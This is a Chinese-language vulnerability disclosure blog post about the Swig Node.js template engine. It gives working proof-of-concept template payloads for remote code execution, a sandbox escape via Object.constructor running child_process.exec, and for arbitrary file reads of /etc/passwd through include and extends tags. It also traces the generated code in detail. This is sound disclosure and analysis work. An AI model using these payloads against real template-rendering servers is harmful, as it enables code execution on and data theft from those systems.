Swig模板▸
Swig是一款Node.JS的模板引擎
官方文档: https://myvin.github.io/swig.zh-CN/index.html
Github: https://github.com/node-swig/swig-templates
之前一段时间挖过swig模板,发现了一个RCE,以及一个之前的任意文件读取,之前还用这个任意读漏洞出过CTF题。swig目前应该不更新了,所以一直留着,现在觉得留着也没啥卵用,就给他们提了issue,顺便水一篇博客(能再水个CVE编号就更好了)。
刚刚仔细检查了一下,旧版本叫swig
,新版是swig-templates
,漏洞都是存在的,然后我debug是用的swig
,不过代码变化很小,尤其是核心的模板解析和渲染的部分都是一样的。
代码执行漏洞▸
已提issue: https://github.com/node-swig/swig-templates/issues/89
poc▸
tpl.html
You need to ensure that the 1.html file exists {% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} or just use /etc/passwd {% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} |
run.js
var swig = require('swig'); var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html'); console.log(output); |
漏洞分析▸
模板渲染过程中,include.js会拼接代码
拼接完的代码会给到out
变量
之后out
值为
_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx, + (((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) : "" ) || _fn).call((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) : "" ), "global.process.mainModule.require('child_process').exec('open -a Calculator.app')") || _fn)()));
|
关于为什么会生成这样的out
,主要是parser.js的checkMatch()
,
中间的逻辑很复杂,反正就是找属性、代码拼接,不好描述,这里不展开写了,整个call stack为:
checkMatch (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:419) parseVar (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:386) parseToken (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:286) <anonymous> (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:86) exports.each (/Users/bytedance/Desktop/swig/node_modules/swig/lib/utils.js:45) TokenParser.parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:76) parseTag (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:577) <anonymous> (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:640) exports.each (/Users/bytedance/Desktop/swig/node_modules/swig/lib/utils.js:45) exports.parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:624) parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:354) precompile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:486) compile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:606) compileFile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:696) renderFile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:570) <anonymous> (/Users/bytedance/Desktop/swig/run.js:2) Module._compile (internal/modules/cjs/loader:1120) Module._extensions..js (internal/modules/cjs/loader:1174) Module.load (internal/modules/cjs/loader:998) Module._load (internal/modules/cjs/loader:839) |
最后生成的result
值为如下代码的字符串形式:
// 最外层有引号包裹,这里为了代码格式化就没写 ( (typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ( (typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "" ) : ( (typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "" ) ) |
这就很明朗了,很明显_ctx
不存在Object
属性,会走到三目运算符中:
后面的逻辑,也就是:
( (typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "" ) |
很明显Object
是存在的,于是就最后就得到了Object.constructor
,也就是Function()
在Swig.Swig.compile.compiled
处调用pre.tpl()
,这个tpl()
就是刚刚创建的匿名函数
虽然很长,但是前面不用看,我们直接跟到中间的call
方法,call
前面的一大套还是相同的逻辑,只是多套了两层三目运算,最后返回的是依然是Object.constructor
,call
方法来源于Object.constructor || efn
。其实根本不重要,因为不论是哪个函数,call
方法最终都是继承自Function.prototype
原型对象,然后call
的第一个参数就是上面分析的Object.constructor
,也就是Function()
,第二个参数就是函数体
于是乎顺理成章的通过Object.constructor
创建了如下匿名函数:
(function anonymous( ) { global.process.mainModule.require('child_process').exec('open -a Calculator.app') }) |
接着就走到了下一个()
对上述匿名函数做调用,成功逃逸沙箱,代码执行就发生了
任意文件读取漏洞▸
已提issue: https://github.com/node-swig/swig-templates/issues/88
根据文档:
- https://node-swig.github.io/swig-templates/docs/tags/#include
- https://node-swig.github.io/swig-templates/docs/tags/#extends
swig可以扩展模板,或包含模板,但对路径和后缀名没有做校验,因此可以实现任意文件读取
poc:
{% extends '/etc/passwd' %} {% include '/etc/passwd' %} |
比较简单,就不详细分析了,就是直接取到路径然后读文件然后拼接到结果的_output
里
原文始发于颖奇L’Amore:Swig模板引擎0day挖掘-代码执行和文件读取